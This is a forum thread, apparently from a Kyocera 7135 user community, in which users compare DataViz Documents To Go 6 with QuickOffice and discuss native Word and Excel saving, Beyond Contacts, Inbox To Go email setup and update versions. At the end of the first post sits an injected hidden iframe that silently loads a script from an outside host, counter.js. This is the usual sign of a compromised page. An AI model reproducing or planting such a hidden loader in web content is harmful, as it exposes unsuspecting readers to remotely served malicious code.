Dataviz just released Docs To Go 6 today. Looks like the main feature is native format compatability similar to QuickOffice 7.x, spellchecking, and a word count. http://www.dataviz.com/products/docu..._features.html

I installed both DTG 5 and Quick Office 7.1. I like that Quick Office is including PrintBoy now and it seems like it is cheaper to buy the QuickOffice upgrade for the 7135 than the DTG upgrade for past registrants.

Unfortunately it looks like they really haven't done much to improve their InBox To Go or Pics To Go programs. (I don't think InBox to Go can download from a Pop3 server, it needs to instead use conduit with the desktop which is a shame for 7135 users.) I seem to remember hearing about people being disappointed that the Pics To Go was rather limited.

I was wondering if any SPS'ers had comments since I'm running a little low on memory now so I don't want to have to try to squeeze in another demo.

In summary, I went through the PDF of their manual and the website but the upgrade seems a little underwhelming - more of a feature catch up.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

On the contrary, my friend. Docs2Go seems to have one important plus over QuickOffice Premier that QOP seems to downplay, and that's the ability not only to open and edit native MS files, but also SAVE the edited file back in the native format. I naively thought QOP had the latter capability, and it was on that basis that I bought it, only to learn that when you edit and then try to save, what you're actually saving is an HTML file masquerading as a .doc file. This has resulted in crashes and formatting problems, at least in my experience. D2G6.0 has not exhibited the same problems, and it seems to work flawlessly on my 7135, and SnapperMail recognizes it and asks if I want to open my .doc files with it.

Although I'd like to return QOP, the one thing it does have that D2G doesn't appear to have at this point is the capability to open html files in native format. So unfortunately, I guess I'm stuck with both programs for awhile, until I can find another decent program that will allow me to open html files that I receive as attachments. Once that happens, goodbye to QOP.

Carey

My comments of the newest version of Documents to Go are biased as I have been a DTG user for the past four years. That said, I have not always been pleased with all the features of DTG and this version of the DataViz business application suite is no exception.

Since I have had DTG6 for only two day I am mentioning my first impressions. This is not meant to be an indepth reviewof DTG6.

Overall I do like what DataViz has done this time with one big exception that is not actually a part of the DTG6 Office Suite.

DataViz had added native file compatibility which is a two edged sword. Now one can edit Word and Excel documents and send the changes to others without the "others" having DTG on their computer. The down side is it takes the native files longer to load since they are not compressed as in the DTG proprietary format.

DTG6 has eliminated the clutter of icons that came with previous versions. You now have one icon called Documents. All they really did was get rid of the individual icons for the DTG modules. The separate modules each still have their own .prc's from which you can choose to load during the installation process but you access each module from the single Documents icon. This is not really a feature enhancement as much as a cosmetic one, but it does reduce the launcher menu clutter.

DTG6 can be set to automatically scan for compatible documents in RAM and memory cards.. This was a manual feature in previous versions. Again, a double edged sword. Depending on the number of files and types of files you have installed this scan can take a few minutes.

DTG6 scans for DOC files which can also be accessed by other document readers such as Isilo and Palm Reader. You can open and edit these files, but in doing so it changes the files to the proprietary DTG format and creates another document of equal or greater size in RAM (even if the original document was on the memory card) and you can not read the new file in the other document readers. Be aware that it can take several minutes to load a large (1 Meg) DOC file in DTG.

I did not find there to be a loading time issue with large native Word or Excel documents or with the proprietary DTG format.

I like the new DTG6 desktop document management interface. This Windows program allows you to add and/or remove files from desktop to device and back. It makes adding files to memory cards easier and gives more detail information about the files added to DTG, but does not really add any new features from what I can see. You can add and edit files from different directories on your computer, with changes to those files made being reflected on the correct document in the correct directory. Previously one had to store all documents in the same directory. (That may be an incorrect statement. Previously it was my practice to store all DTG files in the same directory and it may not have been a limitation of the product.) Now it is obvious one can access files in different directories and I take advantage of that capability.

DTG6 Office comes with Beyond Contacts. If you use Outlook this is the Palm device interface for you. I should say that if you use Outlook as a contact manager this is for you. If you use Outlook to store name, address and phone number and not much else, the Palm address book is sufficient. If you store large amounts of contact info in Outlook, that information can now be synced with your Palm device. Beyond Contacts has replacement apps for calendar, address book, to do, and notes. It also interfaces with the DataViz app Inbox To Go Wireless, but more on that later.

Since BC is a replacement app one can delete the Palm applications to increase the available ROM by using JackSprat and JackFlash. I won't go into the process, but I do want to point out that while one can delete the basic Palm apps, do so only if you are sure other applications do not call on those apps.

I have a Kyocera 7135 which relies on the Palm Address Book for Caller ID. I deleted the Palm Address Book and lost the caller ID capability. After reinstalling the PAB, I now sync both BC and the Palm address book. I dislike having two address book products installed on my 7135 because of the increased memory requirements, but that is the price to obtain increased functionality with one application while maintaining other functionality with a different application.

Also once you start using the BC note application which initially imports the Palm Memo entries, any new BC note entries are not copied back to the Palm Memos app. BC does not do voice memos as does the Palm Memo version on the Kyocera 7135. So I have to have to keep the Palm Memo app to keep one function not included with BC.

Inbox To Go Wireless (not included in DTG6 Office)

CORRECTION TO ORIGINAL POST: INBOX TO GO DOES ALLOW SENDING AND RECEIVING FROM A COMPANY OR ISP POP SERVER WITHOUT HAVING TO GO THROUGH A PROPRIETARY REDIRECTTION SERVER. I have successfully sent e-mail directly from my 7135 through my ISP pop to a second e-mail account. I have so far been unable to receive e-mail from my ISP pop, but that appears to be a setup issue and not a ITG or DataViz issue.

Please see the post below from SteveNYC for a very good explination of the difference between receiving e-mail from a POP server and an exchange server.

The DTG6, BC and ITG combination make up a very strong mobile office suite which I highly recommend if one does not have to receive company mail from a company Exchange server. If you have to use an Exchange server DataViz offers a solution for $100 plus an annual fee after the first year. Technically the process they offer is unnecessary, but that is the solution DataViz offers so they can get more of our money. You pays your money and you takes your chances.

IMHO

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bcottun

bcotton, I think you may be mistaken on this one. I am able to send and receive word and excel attachments directly (wirelessly) from my 7135 using InBox to Go to any e.mail address without the need to pay for their subscription service. I have pop3 e.mail and it was easy to configure. As far as I know, my messages are not routed through their server.

I am planning to upgrade to DTG6 and one of the most key features they've added is the ability to have password protected files.

Correct me if I'm wrong on the e.mail stuff.

I own all of their products except for the kiddie playland and Beyond Contacts. Beyond Contacts looked tempting, but after learning that it did not ride on the back of the palm address book, I was not interested. As far as I can see, the only real advantage you get from BC is the ability to store a few more phone numbers per contact. The fact that it "looks like" Outlook is definitely no selling point with me. What else am I not seeing?

Generally speaking, I am enjoying Documents-to-Go 6 and think it is a definite improvement over previous editions. For some odd reason, and please don't ask me to explain, there was something about QuickOffice 7 that I did not like. The downside is that I cannot make a comparison between the two. The upside is, however, that Documents-to-Go 6 does everything I need.

I have a lot of MS Word and a few MS Excel documents that I try to read in transit (e.g. on the train commuting, flying, etc.). Even in only a couple of days use, I find the ability to not only read, but edit and share these documents to be a great timesaver. If only it could read MS Project files.

Unfortunately, and I hope this is only a coincidence, but since about the time I started using Documents-to-Go 6, I have had problems loading applications and using my SD card. Has anyone else experienced any issues?

Again, I hope and expect my issues are only coincidental.

I just bought the upgrade last night. I will give a review after some time has passed. It has several features that already seem to make the $29 upgrade fee worthwhile. I swear I've paid someone's salary for a week over at that company and don't even get me started how much coin I'm into this phone for in terms of original purchase, accessories, software, etc. Geez! ... I need help.

Peter,

I think the difference between what bcottun is talking about and what you are talking about is the nature of the e-mail in question. Your POP3 e-mail can be retrieved directly. No big deal.

But if you trying to get mail from say an Exchange server (like at work for me) then you have to employ their e-mail redirector. THAT requires you to send through their server and for THIS, you only get 12 months of service. Then you pay for it again.

I agree with bcotton. This is a slick (and I don't mean that in a good way) move by Dataviz to get some additional service revenue. There's no need to go through Dataviz's servers. It's just crafted that way for monetary purposes.

Here's the detail directly from DataViz's website:
-----begin snip------
2.) How does it work?
Inbox To Go Wireless installs software on the PC and a handheld application titled Inbox To Go. Tapping on the “Check & Send” button in Inbox To Go Wireless makes an internet connection*. New messages from your inbox are brought to handheld, and messages you composed on the handheld are sent.

If you want to access your corporate e-mail behind a firewall, new messages in your Microsoft Outlook or Outlook Express inbox have to be sent to a Dataviz mail server every 15 minutes. In addition, your PC must have an always on internet connection in order to redirect your messages to the DataViz mail server. (Dial up connections aren't supported.)

13.) What happens after my initial 12 months of wireless email delivery service?
After the initial 12 month period, continued wireless email delivery is subject to such subscription fees as DataViz may establish and to DataViz's continued offering of the service.
-----end snip-----

BTW, excellent overview bcottun. Although it is slow as molasses in the winter, I'm a big fan of Beyond Contacts and use it everyday. If I could only sync the thing wirelessly (Verizon's Wireless Sync is useless) everything would be perfect. I am seriously looking at DTG6. I'll probably mess with it a bit.

SteveNYC, thank you for helping clear up the e-mail issue for me and many others interested in DTG6. The posts you and Peter made after my review lead me to further check my problems with accessing POP e-mail and I found it was a configuration error, not a problem with ITG.

This forum is great. You guys helped me correct an error in my original post on this topic and I sincerely appreciate it.

DataViz has been a leader in the Palm business suite the past 4-5 years and I am sure they will continue to provide us with innovative solutions to our mobile office needs.

Again my thanks, BC.

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bcottun

In another thread about the recently released Documents to Go (v. 6.0), we were discussing InBox to Go's ability to directly grab pop3 e.mail vs. it being redirected to their (DataViz) servers (on a subscription basis) and then grabbing it off of their servers. I will come back to this in a bit.

I have purchased the Documents to Go upgrade to v. 6.0. I placed passwords on most of the Excel and Word files I keep on the handheld. This was one of the major enhancements to Documents to Go which enticed me to buy the upgrade, due to the fact that I have been unable to find any decent software which will easily and securely lock the palm side of this phone/pda device. True to their documentation, putting passwords on these files on your desktop will convert (during a hotsync) these to native Excel and Word formats on the handheld. Well, I decided to test the sending and receiving capabilities of InBox to Go with Documents to Go 6.0 now residing comfortably on my 7135. Well nothing seems to work. If I send e.mail with one of my native format Excel files attached (from handheld) I get an error something to the tune of "server will not be able to convert this file, contact DataViz." When I send myself an e.mail from my desktop computer with an Excel file attached it shows up as an attachment when "checking and sending" through InBox to Go, but when you tap on the attachment, which should download it, it says it can't with some other error message that eludes me at the moment.

Furthermore, when I hit "check & send" in InBox to Go I now have an added step (once the qnc connection is established) that says "synchronizing with server" which made me wonder if Bill Cotton's remarks in the other thread were correct, that you can't directly grab pop3 e.mail from your isp's server.

Well, I was fed up and called DataViz directly. 40 minutes and several apologies later they admitted to me that InBox to Go is not ready for prime time. It has several bugs related to its functionality with Documents to Go 6.0 and they are scrambling to get an update out soon. I'm on their e.mail notification list, get yourselves on there too. They assured me that everything will work fine with this soon (yeah, right ) to be released version. And Bill Cotton, they assured me you can check and send e.mail directly through your isp, having nothing to do with any subscription services.

I hope this is informative to those of you who use these products.

What? No commentary?

wasn't going to, but since you asked:

why start a second thread? why not bring this up in the thread where it is already being discussed.

Posted in a new thread so people like me would read it. I don't know about others, but some of these threads run pretty long and are often off topic. So, I check a topic I'm following with one or two new posts just to find out the new posts are unrelated to the original topic. Usually there something similar to what I'm doing now.

Anyway, thanks for the info Pete. I've upgraded and uninstalled version 6. It just has too many files. I only want WordToGo with the expansion card support. I don't need the spellchecker, mail, spreadsheet, ect., ect.

See, more unrelated info. LOL

I'm very frustrated!

I've input several documents into my hanheld. They contain bullets, underlining, and bold text. After sycing, the newly created Word doc. has underlines where there shouldn't be, bold where there was none, ect. It also made the changes on my handheld. Why is it doing this??? I've never had problems before, but I never used DocToGo much. Is this a problem with DocToGo, is Word somehow set wrong, or what?

I know this is a bit off the Kyocera, but people here know what I don't, so please help.

amazingly, the powers that be merged the two threads

Hi all,
I'm following this thread and noticed the Beyond Contacts uses an alternate database for calendar, contacts, etc. I've decided to delete it since I use Takephone and other apps that take advantage of the default database. I'll use Agendus instead. That said, I noticed a large file 400k called BCCalendar in my memory. Can I delete. this? Any help would be great.

Thanks,
Joe

DataViz had 6.004 up and about a week ago they updated it to 6.005. Does anyone know what this addresses? They normally seem to be pretty good about listing changes but their revlog doesn't acknowledge 6.005 yet at http://support.dataviz.com/support.s...&subcatid=1002

Joe;

BBCalendar is one of the "extraneous" databases Beyond Contact creates. Trash it if you are not going to use Beyond Contacts. That is what I did with no ill effects.

bcottun

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bcottun

ProfessorA;

I did the 6.005 upgrade the day it was posted by DataViz and I do not see diddly difference. It must be some maintenance upgrade to correct an error and not a feature enhancement. It appears DataViz used the same product manual for each version with no reference to any changes from 6.004 to 6.005

One thing I have noticed about 6.xxx. It has an intermittent problem identifying my SD card. It is my only app that has this problem. I did not have this problem with DTG 5.xxx.

It could be my SD card because I have formatted it a few times since installing DTG 6 but all my other apps see it. Puzzeling.

bcottun

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bcottun

My problem with DTG6xxx recognizing my SD card was an operator error, not a DTG problem. I have reformated my SD card after installing DGT6 and it recognized my card "twice".

I deleted the two SD profiles in DTG, resynced, and all is well.

bcottun

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bcottun

BCotton,

Sounds like you were right about the maintenance update. I asked Dataviz about what changed in 6.005 over 6.004 and their reply was just two sentences
"This version includes bug fixes and a fix in the ease of installing. No new features."

Apparently they did not deem it worth noting on their revision log documentation even two weeks after it was released.